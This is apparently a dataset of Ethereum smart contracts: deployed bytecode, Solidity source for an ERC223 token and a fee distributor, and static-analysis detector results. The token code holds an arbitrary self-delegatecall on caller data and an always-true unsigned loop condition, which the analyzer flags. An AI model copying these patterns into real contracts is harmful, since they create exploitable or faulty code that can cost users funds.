2060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600360009054906101000a900460ff1681565b60006020528060005260406000206000915090505481565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108db5780601f106108b0576101008083540402835291602001916108db565b820191906000526020600020905b8154815290600101906020018083116108be57829003601f168201915b505050505081565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561093257600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6004546000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6004546040518082815260200191505060405180910390a3565b60056020528160005260406000206020528060005260406000206000915091505054815600a165627a7a723058203c6f8c112747bee261a176e90f208b491d3e1469ceea596d31d82ea55e124fc10029
{"success": true, "error": null, "results": {}}
10,296
0xa430e30ad770DCA9e64F5F95b07F7A8656a93723
// SPDX-License-Identifier: MIT pragma solidity ^0.8.7; //pragma experimental ABIEncoderV2; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ contract SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function safeMul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function safeSub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function safeAdd(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } //------------------------------------------------------------------------------------- /* * ERC20 interface * see https://github.com/ethereum/EIPs/issues/20 */ abstract contract ERC20 { uint public totalSupply; function balanceOf(address who) public virtual view returns (uint); function allowance(address owner, address spender) public virtual view returns (uint); function transfer(address to, uint value) public virtual returns (bool ok); function transferFrom(address from, address to, uint value) public virtual returns (bool ok); function approve(address spender, uint value) public virtual returns (bool ok); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } abstract contract ERC223 is ERC20 { function transfer(address to, uint value, bytes memory data) public virtual returns (bool ok); function transferFrom(address from, address to, uint value, bytes memory data) public virtual returns (bool ok); } /* Base class contracts willing to accept ERC223 token transfers must conform to. Sender: msg.sender to the token contract, the address originating the token transfer. - For user originated transfers sender will be equal to tx.origin - For contract originated transfers, tx.origin will be the user that made the tx that produced the transfer. Origin: the origin address from whose balance the tokens are sent - For transfer(), origin = msg.sender - For transferFrom() origin = _from to token contract Value is the amount of tokens sent Data is arbitrary data sent with the token transfer. Simulates ether tx.data From, origin and value shouldn't be trusted unless the token contract is trusted. If sender == tx.origin, it is safe to trust it regardless of the token. */ abstract contract ERC223Receiver { function tokenFallback(address _sender, address _origin, uint _value, bytes memory _data) public virtual returns (bool ok); } abstract contract Standard223Receiver is ERC223Receiver { function supportsToken(address token) public virtual view returns (bool); } //------------------------------------------------------------------------------------- //Implementation contract IMETACoin223Token_13 is ERC20, ERC223, Standard223Receiver, SafeMath { mapping(address => uint) balances; mapping (address => mapping (address => uint)) allowed; string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. string public symbol; //An identifier: eg SBX address /*public*/ contrInitiator; address /*public*/ thisContract; bool /*public*/ isTokenSupport; mapping(address => bool) isSendingLocked; bool isAllTransfersLocked; uint oneTransferLimit; uint oneDayTransferLimit; struct TransferInfo { //address sender; //maybe use in the future //address from; //no need because all this is kept in transferInfo[_from] //address to; //maybe use in the future uint256 value; uint time; } struct TransferInfos { mapping (uint => TransferInfo) ti; uint tc; } mapping (address => TransferInfos) transferInfo; event SetIsSendingLocked(address _from, bool _lock); event SetIsAllTransfersLocked(bool _lock); //------------------------------------------------------------------------------------- //from ExampleToken constructor(/*uint initialBalance*/) { decimals = 18; // Amount of decimals for display purposes name = "iMETA Coin"; // Set the name for display purposes symbol = 'IMC'; // Set the symbol for display purposes uint initialBalance = (10 ** uint256(decimals)) * 10000*1000*1000; balances[msg.sender] = initialBalance; totalSupply = initialBalance; contrInitiator = msg.sender; thisContract =address(this); isTokenSupport = false; isAllTransfersLocked = true; oneTransferLimit = (10 ** uint256(decimals)) * 10000*1000*1001; // to simulate no limit oneDayTransferLimit = (10 ** uint256(decimals)) * 10000*1000*1001; // to simulate no limit // Ideally call token fallback here too } //------------------------------------------------------------------------------------- //from StandardToken function super_transfer(address _to, uint _value) /*public*/ internal returns (bool success) { require(!isSendingLocked[msg.sender]); require(_value <= oneTransferLimit); require(balances[msg.sender] >= _value); if(msg.sender == contrInitiator) { //no restricton } else { require(!isAllTransfersLocked); require(safeAdd(getLast24hSendingValue(msg.sender), _value) <= oneDayTransferLimit); } balances[msg.sender] = safeSub(balances[msg.sender], _value); balances[_to] = safeAdd(balances[_to], _value); uint tc=transferInfo[msg.sender].tc; transferInfo[msg.sender].ti[tc].value = _value; transferInfo[msg.sender].ti[tc].time = block.timestamp; transferInfo[msg.sender].tc = safeAdd(transferInfo[msg.sender].tc, 1); emit Transfer(msg.sender, _to, _value); return true; } function super_transferFrom(address _from, address _to, uint _value) /*public*/ internal returns (bool success) { require(!isSendingLocked[_from]); require(_value <= oneTransferLimit); require(balances[_from] >= _value); if(msg.sender == contrInitiator && _from == thisContract) { // no restriction } else { require(!isAllTransfersLocked); require(safeAdd(getLast24hSendingValue(_from), _value) <= oneDayTransferLimit); uint loc_allowance = allowed[_from][msg.sender]; require(loc_allowance >= _value); allowed[_from][msg.sender] = safeSub(loc_allowance, _value); } balances[_from] = safeSub(balances[_from], _value); balances[_to] = safeAdd(balances[_to], _value); uint tc=transferInfo[_from].tc; transferInfo[_from].ti[tc].value = _value; transferInfo[_from].ti[tc].time = block.timestamp; transferInfo[_from].tc = safeAdd(transferInfo[_from].tc, 1); emit Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) public override view returns (uint balance) { return balances[_owner]; } function approve(address _spender, uint _value) public override returns (bool success) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public override view returns (uint remaining) { return allowed[_owner][_spender]; } //------------------------------------------------------------------------------------- //from Standard223Token //function that is called when a user or another contract wants to transfer funds function transfer(address _to, uint _value, bytes memory _data) public override returns (bool success) { //filtering if the target is a contract with bytecode inside it if (!super_transfer(_to, _value)) assert(false); // do a normal token transfer if (isContract(_to)) { if(!contractFallback(msg.sender, _to, _value, _data)) assert(false); } return true; } function transferFrom(address _from, address _to, uint _value, bytes memory _data) public override returns (bool success) { if (!super_transferFrom(_from, _to, _value)) assert(false); // do a normal token transfer if (isContract(_to)) { if(!contractFallback(_from, _to, _value, _data)) assert(false); } return true; } function transfer(address _to, uint _value) public override returns (bool success) { return transfer(_to, _value, new bytes(0)); } function transferFrom(address _from, address _to, uint _value) public override returns (bool success) { return transferFrom(_from, _to, _value, new bytes(0)); } //function that is called when transaction target is a contract function contractFallback(address _origin, address _to, uint _value, bytes memory _data) private returns (bool success) { ERC223Receiver reciever = ERC223Receiver(_to); return reciever.tokenFallback(msg.sender, _origin, _value, _data); } //assemble the given address bytecode. If bytecode exists then the _addr is a contract. function isContract(address _addr) private view returns (bool is_contract) { // retrieve the size of the code on target address, this needs assembly uint length; assembly { length := extcodesize(_addr) } return length > 0; } //------------------------------------------------------------------------------------- //from Standard223Receiver Tkn tkn; struct Tkn { address addr; address sender; address origin; uint256 value; bytes data; bytes4 sig; } function tokenFallback(address _sender, address _origin, uint _value, bytes memory _data) public override returns (bool ok) { if (!supportsToken(msg.sender)) return false; // Problem: This will do a sstore which is expensive gas wise. Find a way to keep it in memory. tkn = Tkn(msg.sender, _sender, _origin, _value, _data, getSig(_data)); __isTokenFallback = true; // if (!address(this).delegatecall(_data)) return false; (bool success, bytes memory response) = address(this).delegatecall(_data); response = response; //!!!!! will it work? if(!success) return false; // avoid doing an overwrite to .token, which would be more expensive // makes accessing .tkn values outside tokenPayable functions unsafe __isTokenFallback = false; return true; } function getSig(bytes memory _data) private pure returns (bytes4 sig) { uint l = _data.length < 4 ? _data.length : 4; for (uint i = 0; i < l; i++) { sig = bytes4(uint32(uint32(sig) + uint8(_data[i]) * (2 ** (8 * (l - 1 - i))))); } } bool __isTokenFallback; modifier mod_tokenPayable() { if (!__isTokenFallback) assert(false); _; //_ is a special character used in modifiers } //function supportsToken(address token) public pure returns (bool); //moved up //------------------------------------------------------------------------------------- //from ExampleReceiver /* //we do not use dedicated function to receive Token in contract associated account function foo( //uint i ) tokenPayable public { emit LogTokenPayable(1, tkn.addr, tkn.sender, tkn.value); } */ function tokenPayable() external mod_tokenPayable() { emit LogTokenPayable(0, tkn.addr, tkn.sender, tkn.value); } function supportsToken(address token) public override view returns (bool) { //do not need to to anything with that token address? //if (token == 0) { //attila addition if (token != thisContract) { //attila addition, support only our own token, not others' token return false; } if(!isTokenSupport) { //attila addition return false; } return true; } event LogTokenPayable(uint i, address token, address sender, uint value); //------------------------------------------------------------------------------------- // My extensions /* function enableTokenSupport(bool _tokenSupport) public returns (bool success) { if(msg.sender == contrInitiator) { isTokenSupport = _tokenSupport; return true; } else { return false; } } */ function setIsAllTransfersLocked(bool _lock) public { require(msg.sender == contrInitiator); isAllTransfersLocked = _lock; emit SetIsAllTransfersLocked(_lock); } function setIsSendingLocked(address _from, bool _lock) public { require(msg.sender == contrInitiator); isSendingLocked[_from] = _lock; emit SetIsSendingLocked(_from, _lock); } function getIsAllTransfersLocked() public view returns (bool ok) { return isAllTransfersLocked; } function getIsSendingLocked(address _from ) public view returns (bool ok) { return isSendingLocked[_from]; } /* function getTransferInfoCount(address _from) public view returns (uint count) { return transferInfo[_from].tc; } */ /* // use experimental feature function getTransferInfo(address _from, uint index) public view returns (TransferInfo ti) { return transferInfo[_from].ti[index]; } */ /* function getTransferInfoTime(address _from, uint index) public view returns (uint time) { return transferInfo[_from].ti[index].time; } */ /* function getTransferInfoValue(address _from, uint index) public view returns (uint value) { return transferInfo[_from].ti[index].value; } */ function getLast24hSendingValue(address _from) public view returns (uint totVal) { totVal = 0; //declared above; uint tc = transferInfo[_from].tc; if(tc > 0) { for(uint i = tc-1 ; i >= 0 ; i--) { // if(block.timestamp - transferInfo[_from].ti[i].time < 10 minutes) { // if(block.timestamp - transferInfo[_from].ti[i].time < 1 hours) { if(block.timestamp - transferInfo[_from].ti[i].time < 1 days) { totVal = safeAdd(totVal, transferInfo[_from].ti[i].value ); } else { break; } } } } function airdropIndividual(address[] memory _recipients, uint256[] memory _values, uint256 _elemCount, uint _totalValue) public returns (bool success) { require(_recipients.length == _elemCount); require(_values.length == _elemCount); require(_elemCount <= 50); uint256 totalValue = 0; for(uint i = 0; i< _recipients.length; i++) { totalValue = safeAdd(totalValue, _values[i]); } require(totalValue == _totalValue); for(uint i = 0; i< _recipients.length; i++) { transfer(_recipients[i], _values[i]); } return true; } }
0x608060405234801561001057600080fd5b506004361061012c5760003560e01c80636172f071116100ad578063ab67aa5811610071578063ab67aa581461029b578063be45fd62146102ae578063cfea751f146102c1578063dd62ed3e146102cc578063dfe8bf641461030557600080fd5b80636172f0711461022f57806365cd36861461024457806370a082311461025757806395d89b4114610280578063a9059cbb1461028857600080fd5b806323b872dd116100f457806323b872dd146101ab5780632b6b7c69146101be578063313ce567146101d15780634c123019146101f05780635c622c091461020357600080fd5b8063061f76501461013157806306fdde0314610159578063095ea7b31461016e578063125041091461018157806318160ddd146101a2575b600080fd5b61014461013f366004611043565b61030d565b60405190151581526020015b60405180910390f35b61016161034e565b6040516101509190611379565b61014461017c36600461116c565b6103dc565b61019461018f366004611043565b610449565b604051908152602001610150565b61019460005481565b6101446101b9366004611091565b61050c565b6101446101cc3660046111ed565b610533565b6004546101de9060ff1681565b60405160ff9091168152602001610150565b6101446101fe3660046110cd565b610616565b610144610211366004611043565b6001600160a01b031660009081526008602052604090205460ff1690565b61024261023d3660046112c4565b6107a0565b005b610242610252366004611135565b6107fe565b610194610265366004611043565b6001600160a01b031660009081526001602052604090205490565b610161610878565b61014461029636600461116c565b610885565b6101446102a93660046110cd565b6108a9565b6101446102bc366004611196565b6108ec565b60095460ff16610144565b6101946102da36600461105e565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b61024261092d565b6007546000906001600160a01b0383811691161461032d57506000919050565b600754600160a01b900460ff1661034657506000919050565b506001919050565b6003805461035b90611561565b80601f016020809104026020016040519081016040528092919081815260200182805461038790611561565b80156103d45780601f106103a9576101008083540402835291602001916103d4565b820191906000526020600020905b8154815290600101906020018083116103b757829003601f168201915b505050505081565b3360008181526002602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906104379086815260200190565b60405180910390a35060015b92915050565b6001600160a01b0381166000908152600c60205260408120600101548015610506576000610478600183611503565b90505b6001600160a01b0384166000908152600c6020908152604080832084845290915290206001015462015180906104b19042611503565b10156104ed576001600160a01b0384166000908152600c602090815260408083208484529091529020546104e690849061099a565b92506104f2565b610504565b806104fc8161154a565b91505061047b565b505b50919050565b6040805160008082526020820190925261052b908590859085906108a9565b949350505050565b60008285511461054257600080fd5b8284511461054f57600080fd5b603283111561055d57600080fd5b6000805b86518110156105a15761058d82878381518110610580576105806115dd565b602002602001015161099a565b91508061059981611596565b915050610561565b508281146105ae57600080fd5b60005b8651811015610609576105f68782815181106105cf576105cf6115dd565b60200260200101518783815181106105e9576105e96115dd565b6020026020010151610885565b508061060181611596565b9150506105b1565b5060019695505050505050565b60006106213361030d565b61062d5750600061052b565b6040518060c00160405280336001600160a01b03168152602001866001600160a01b03168152602001856001600160a01b0316815260200184815260200183815260200161067a846109b8565b6001600160e01b03191690528051600d80546001600160a01b03199081166001600160a01b03938416178255602080850151600e805484169186169190911790556040850151600f8054909316941693909317905560608301516010556080830151805191926106f09260119290910190610eac565b5060a091909101516005909101805463ffffffff191660e09290921c9190911790556013805460ff191660011790556040516000908190309061073490869061132a565b600060405180830381855af49150503d806000811461076f576040519150601f19603f3d011682016040523d82523d6000602084013e610774565b606091505b5091509150816107895760009250505061052b565b50506013805460ff19169055506001949350505050565b6006546001600160a01b031633146107b757600080fd5b6009805460ff19168215159081179091556040519081527f496fea9afdf007a7bf7959a6a84779821251106856fdab84d828e6ebe76dcbfe9060200160405180910390a150565b6006546001600160a01b0316331461081557600080fd5b6001600160a01b038216600081815260086020908152604091829020805460ff19168515159081179091558251938452908301527f4eb3ab22e0067719f1735d8d83b196fa76f280e566939b08a8fd52131e67cdaf910160405180910390a15050565b6005805461035b90611561565b604080516000808252602082019092526108a290849084906108ec565b9392505050565b60006108b6858585610a50565b6108c2576108c26115b1565b833b156108e1576108d585858585610c79565b6108e1576108e16115b1565b506001949350505050565b60006108f88484610d0c565b610904576109046115b1565b833b156109235761091733858585610c79565b610923576109236115b1565b5060019392505050565b60135460ff1661093f5761093f6115b1565b600d54600e5460105460408051600081526001600160a01b03948516602082015293909216838301526060830152517ff2437bb3d950b968625757c8878714de92924bf3f774677a83c75a8cb34abd7d9181900360800190a1565b60006109a682846113e1565b905082811015610443576104436115b1565b60008060048351106109cb5760046109ce565b82515b905060005b8181101561050457806109e7600184611503565b6109f19190611503565b6109fc9060086114e4565b610a0790600261143c565b848281518110610a1957610a196115dd565b0160200151610a2b919060f81c6114e4565b610a399060e085901c6113e1565b60e01b925080610a4881611596565b9150506109d3565b6001600160a01b03831660009081526008602052604081205460ff1615610a7657600080fd5b600a54821115610a8557600080fd5b6001600160a01b038416600090815260016020526040902054821115610aaa57600080fd5b6006546001600160a01b031633148015610ad157506007546001600160a01b038581169116145b15610adb57610b6c565b60095460ff1615610aeb57600080fd5b600b54610b00610afa86610449565b8461099a565b1115610b0b57600080fd5b6001600160a01b038416600090815260026020908152604080832033845290915290205482811015610b3c57600080fd5b610b468184610e90565b6001600160a01b0386166000908152600260209081526040808320338452909152902055505b6001600160a01b038416600090815260016020526040902054610b8f9083610e90565b6001600160a01b038086166000908152600160205260408082209390935590851681522054610bbe908361099a565b6001600160a01b03808516600090815260016020818152604080842095909555928816808352600c8085528584208084018054808752918752968520898155429085015591909352919092529154610c159161099a565b6001600160a01b038681166000818152600c602090815260409182902060010194909455518681529187169290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3506001949350505050565b604051634c12301960e01b815260009084906001600160a01b03821690634c12301990610cb09033908a9089908990600401611346565b602060405180830381600087803b158015610cca57600080fd5b505af1158015610cde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d0291906112e1565b9695505050505050565b3360009081526008602052604081205460ff1615610d2957600080fd5b600a54821115610d3857600080fd5b33600090815260016020526040902054821115610d5457600080fd5b6006546001600160a01b0316331415610d6c57610d96565b60095460ff1615610d7c57600080fd5b600b54610d8b610afa33610449565b1115610d9657600080fd5b33600090815260016020526040902054610db09083610e90565b33600090815260016020526040808220929092556001600160a01b03851681522054610ddc908361099a565b6001600160a01b03841660009081526001602081815260408084209490945533808452600c808352858520808501805480885291855296862089815542908601559190945292905291549091610e32919061099a565b336000818152600c602090815260409182902060010193909355518581526001600160a01b038716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35060019392505050565b600082821115610ea257610ea26115b1565b6108a28284611503565b828054610eb890611561565b90600052602060002090601f016020900481019282610eda5760008555610f20565b82601f10610ef357805160ff1916838001178555610f20565b82800160010185558215610f20579182015b82811115610f20578251825591602001919060010190610f05565b50610f2c929150610f30565b5090565b5b80821115610f2c5760008155600101610f31565b80356001600160a01b0381168114610f5c57600080fd5b919050565b600082601f830112610f7257600080fd5b81356020610f87610f82836113bd565b61138c565b80838252828201915082860187848660051b8901011115610fa757600080fd5b60005b85811015610fc657813584529284019290840190600101610faa565b5090979650505050505050565b600082601f830112610fe457600080fd5b813567ffffffffffffffff811115610ffe57610ffe6115f3565b611011601f8201601f191660200161138c565b81815284602083860101111561102657600080fd5b816020850160208301376000918101602001919091529392505050565b60006020828403121561105557600080fd5b6108a282610f45565b6000806040838503121561107157600080fd5b61107a83610f45565b915061108860208401610f45565b90509250929050565b6000806000606084860312156110a657600080fd5b6110af84610f45565b92506110bd60208501610f45565b9150604084013590509250925092565b600080600080608085870312156110e357600080fd5b6110ec85610f45565b93506110fa60208601610f45565b925060408501359150606085013567ffffffffffffffff81111561111d57600080fd5b61112987828801610fd3565b91505092959194509250565b6000806040838503121561114857600080fd5b61115183610f45565b9150602083013561116181611609565b809150509250929050565b6000806040838503121561117f57600080fd5b61118883610f45565b946020939093013593505050565b6000806000606084860312156111ab57600080fd5b6111b484610f45565b925060208401359150604084013567ffffffffffffffff8111156111d757600080fd5b6111e386828701610fd3565b9150509250925092565b6000806000806080858703121561120357600080fd5b843567ffffffffffffffff8082111561121b57600080fd5b818701915087601f83011261122f57600080fd5b8135602061123f610f82836113bd565b8083825282820191508286018c848660051b890101111561125f57600080fd5b600096505b848710156112895761127581610f45565b835260019690960195918301918301611264565b50985050880135925050808211156112a057600080fd5b506112ad87828801610f61565b949794965050505060408301359260600135919050565b6000602082840312156112d657600080fd5b81356108a281611609565b6000602082840312156112f357600080fd5b81516108a281611609565b6000815180845261131681602086016020860161151a565b601f01601f19169290920160200192915050565b6000825161133c81846020870161151a565b9190910192915050565b6001600160a01b0385811682528416602082015260408101839052608060608201819052600090610d02908301846112fe565b6020815260006108a260208301846112fe565b604051601f8201601f1916810167ffffffffffffffff811182821017156113b5576113b56115f3565b604052919050565b600067ffffffffffffffff8211156113d7576113d76115f3565b5060051b60200190565b600082198211156113f4576113f46115c7565b500190565b600181815b8085111561143457816000190482111561141a5761141a6115c7565b8085161561142757918102915b93841c93908002906113fe565b509250929050565b60006108a2838360008261145257506001610443565b8161145f57506000610443565b8160018114611475576002811461147f5761149b565b6001915050610443565b60ff841115611490576114906115c7565b50506001821b610443565b5060208310610133831016604e8410600b84101617156114be575081810a610443565b6114c883836113f9565b80600019048211156114dc576114dc6115c7565b029392505050565b60008160001904831182151516156114fe576114fe6115c7565b500290565b600082821015611515576115156115c7565b500390565b60005b8381101561153557818101518382015260200161151d565b83811115611544576000848401525b50505050565b600081611559576115596115c7565b506000190190565b600181811c9082168061157557607f821691505b6020821081141561050657634e487b7160e01b600052602260045260246000fd5b60006000198214156115aa576115aa6115c7565b5060010190565b634e487b7160e01b600052600160045260246000fd5b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b801515811461161757600080fd5b5056fea2646970667358221220b696db64ad0072ad8b0cf292b8e8a3a5b793c902cb4fd3f3703bdc020f7a54e664736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
10,297
0x04788562ab11ea3a5201d579e2b3ee7a3f74f1fa
/** *Submitted for verification at Etherscan.io on 2021-04-08 */ // SPDX-License-Identifier: UNLICENSED pragma solidity 0.7.5; // ---------------------------------------------------------------------------- // SafeMath library // ---------------------------------------------------------------------------- library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } function ceil(uint a, uint m) internal pure returns (uint r) { return (a + m - 1) / m * m; } } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address payable public owner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address payable _newOwner) public onlyOwner { require(_newOwner != address(0), "ERC20: sending to the zero address"); owner = _newOwner; emit OwnershipTransferred(msg.sender, _newOwner); } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // ---------------------------------------------------------------------------- interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address tokenOwner) external view returns (uint256 balance); function allowance(address tokenOwner, address spender) external view returns (uint256 remaining); function transfer(address to, uint256 tokens) external returns (bool success); function approve(address spender, uint256 tokens) external returns (bool success); function transferFrom(address from, address to, uint256 tokens) external returns (bool success); function burnTokens(uint256 _amount) external; function calculateFeesBeforeSend( address sender, address recipient, uint256 amount ) external view returns (uint256, uint256); event Transfer(address indexed from, address indexed to, uint256 tokens); event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens); } interface stakeContract { function DisributeTxFunds() external; function ADDFUNDS(uint256 tokens) external; } contract FeeDistributor is Owned { using SafeMath for uint256; address public fETH = 0xf786c34106762Ab4Eeb45a51B42a62470E9D5332; address public dev = 0x94D4Ac11689C6EbbA91cDC1430fc7dfa9a858753; bool public perform = false; stakeContract stakingContract; //FEG staking contract address stakeContract LPstakingContract; //FEG LP staking contract address fallback() external payable { owner.transfer(msg.value); } receive() external payable{ owner.transfer(msg.value); } constructor(stakeContract _stakingContract, stakeContract _lpStakingContract) { owner = msg.sender; stakingContract = _stakingContract; LPstakingContract = _lpStakingContract; } function changeStakingContract(stakeContract _stakingContract) external onlyOwner{ require(address(_stakingContract) != address(0), "setting 0 to contract"); stakingContract = _stakingContract; } function changeLPStakingContract(stakeContract _lpStakingContract) external onlyOwner{ require(address(_lpStakingContract) != address(0), "setting 0 to contract"); LPstakingContract = _lpStakingContract; } function changedev(address _DEV) external onlyOwner{ dev = _DEV; } function changePerform(bool _bool) external onlyOwner{ perform = _bool; } function distributeAll() public{ uint256 amount = IERC20(fETH).balanceOf(address(this)).mul(uint256(999)).div(1000); uint256 amountForToken = (onePercent(amount).mul(uint256(480))).div(10); require(IERC20(fETH).transfer( address(stakingContract), amountForToken), "Tokens cannot be transferred from funder account"); stakingContract.ADDFUNDS(amountForToken); uint256 amountForLP = (onePercent(amount).mul(uint256(320))).div(10); require(IERC20(fETH).transfer( address(LPstakingContract), amountForLP), "Tokens cannot be transferred from funder account"); if(perform==true) { LPstakingContract.ADDFUNDS(amountForLP);} uint256 amountFinal = amount.sub(amountForToken.add(amountForLP)); require(IERC20(fETH).transfer( address(dev), amountFinal), "Tokens cannot be transferred from funder account"); } // ------------------------------------------------------------------------ // Private function to calculate 1% percentage // ------------------------------------------------------------------------ function onePercent(uint256 _tokens) private pure returns (uint256){ uint256 roundValue = _tokens.ceil(100); uint onePercentofTokens = roundValue.mul(100).div(100 * 10**uint(2)); return onePercentofTokens; } }
0x6080604052600436106100955760003560e01c80639793102f116100595780639793102f146101cd578063b147f40c14610200578063cc14d68814610229578063f2fde38b1461023e578063fb5d484214610271576100d7565b8063436596c4146101115780634f49e655146101285780638da5cb5b1461015457806391cca3db1461018557806394db4d051461019a576100d7565b366100d757600080546040516001600160a01b03909116913480156108fc02929091818181858888f193505050501580156100d4573d6000803e3d6000fd5b50005b600080546040516001600160a01b03909116913480156108fc02929091818181858888f193505050501580156100d4573d6000803e3d6000fd5b34801561011d57600080fd5b506101266102a4565b005b34801561013457600080fd5b506101266004803603602081101561014b57600080fd5b503515156106b3565b34801561016057600080fd5b506101696106e8565b604080516001600160a01b039092168252519081900360200190f35b34801561019157600080fd5b506101696106f7565b3480156101a657600080fd5b50610126600480360360208110156101bd57600080fd5b50356001600160a01b0316610706565b3480156101d957600080fd5b50610126600480360360208110156101f057600080fd5b50356001600160a01b0316610792565b34801561020c57600080fd5b506102156107cb565b604080519115158252519081900360200190f35b34801561023557600080fd5b506101696107db565b34801561024a57600080fd5b506101266004803603602081101561026157600080fd5b50356001600160a01b03166107ea565b34801561027d57600080fd5b506101266004803603602081101561029457600080fd5b50356001600160a01b0316610891565b600154604080516370a0823160e01b8152306004820152905160009261033a926103e892610334926103e7926001600160a01b03909116916370a0823191602480820192602092909190829003018186803b15801561030257600080fd5b505afa158015610316573d6000803e3d6000fd5b505050506040513d